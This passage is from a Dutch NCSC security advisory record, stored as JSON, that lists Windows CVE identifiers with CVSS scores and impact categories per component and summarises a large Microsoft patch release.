tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40378 | 7.50 | Denial-of-Service                   | \n| CVE-2026-49799 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows AppX Deployment Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49803 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing Queue Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54992 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-50439 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nDesktop Window Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50692 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58633 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58634 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57097 | 6.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows SMB: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54997 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49801 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50690 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58531 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34349 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50327 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50404 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50358 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50336 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50398 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50414 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50379 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50433 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50394 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50415 | 5.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50655 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50676 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50677 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58542 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58609 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50483 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Print Spooler Components: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58608 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50383 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50499 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57085 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49180 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50455 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58547 | 5.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50323 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50452 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50348 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50345 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50322 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50340 | 8.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50410 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50449 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50460 | 8.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50403 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50385 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50413 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50457 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50486 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50503 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54125 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58527 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49177 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-54999 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50306 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50307 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Kernel Mode: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42982 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50392 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Resilient File System (ReFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54109 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49792 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-49793 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50318 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50407 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50357 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50441 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50362 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50492 | 6.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50501 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58530 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50401 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50374 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58536 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58613 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Quality of Service (QoS) Packet Scheduler: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50431 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49167 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49173 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54132 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58614 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-49795 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49798 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50294 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-49808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50316 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50354 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50300 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50332 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50329 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50419 | 3.30 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50377 | 5.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50390 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50463 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50423 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50397 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50436 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50399 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50475 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50429 | 8.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50459 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50477 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50478 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50484 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50670 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50673 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50688 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50687 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56643 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56644 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58532 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58545 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54122 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49796 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50380 | 9.60 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Network Policy Server SNMP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50470 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50496 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Audio Compression Manager (ACM): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50351 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50497 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49788 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49790 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50498 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DirectX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49807 | 6.20 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50375 | 6.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50382 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58629 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows File History Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57091 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50661 | 6.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50669 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows StateRepository API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49170 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows WalletService: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\n```", "creation_timestamp": "2026-07-14T19:01:08.159339Z"}, {"uuid": "5172d409-deab-496a-bd62-bccd067069e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54982", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0231", "content": "Microsoft heeft een zeer groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-49172, CVE-2026-56190, CVE-2026-54990, CVE-2026-49798, CVE-2026-50380, CVE-2026-50447, CVE-2026-50518, CVE-2026-56159, CVE-2026-56188 en CVE-2026-57092** toegewezen gekregen en bevinden zich in respectievelijk de FTP service, Remote Desktop (client en server), de Kernel, GDI+, Message Queuing Service, DHCP Server, Server Network Driver en VMSwitch.\nKwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 400 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Admin Center: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56169 | 8.10 